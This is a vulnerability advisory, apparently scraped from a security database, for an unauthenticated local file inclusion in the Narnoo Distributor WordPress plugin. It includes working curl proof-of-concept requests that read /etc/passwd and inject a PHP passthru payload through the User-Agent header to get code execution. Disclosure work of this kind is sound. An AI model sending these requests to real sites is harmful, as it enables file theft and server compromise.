Lucene search

K
wpexploitCydaveWPEX-ID:0EA79EB1-6561-4C21-A20B-A1870863B0A8
HistoryMar 01, 2022 - 12:00 a.m.

Narnoo Distributor <= 2.5.1 - Unauthenticated LFI to Arbitrary File Read / RCE

2022-03-0100:00:00
cydave
168

0.031 Low

EPSS

Percentile

91.1%

The plugin fails to validate and sanitize the lib_path parameter before it is passed into a call to require() via the narnoo_distributor_lib_request AJAX action (available to both unauthenticated and authenticated users) which results in the disclosure of arbitrary files as the content of the file is then displayed in the response as JSON data. This could also lead to RCE with various tricks but depends on the underlying system and it’s configuration.

curl https://example.com/wp-admin/admin-ajax.php --data 'action=narnoo_distributor_lib_request&lib_path=/etc/passwd'

Assuming the web user (www-data) can read from /proc/self/environ, the following curl command can be used to trigger RCE:

curl https://example.com/wp-admin/admin-ajax.php --data 'action=narnoo_distributor_lib_request&lib_path=/proc/self/environ' -H 'User-Agent: <?= passthru("id"); =>'

0.031 Low

EPSS

Percentile

91.1%

Related for WPEX-ID:0EA79EB1-6561-4C21-A20B-A1870863B0A8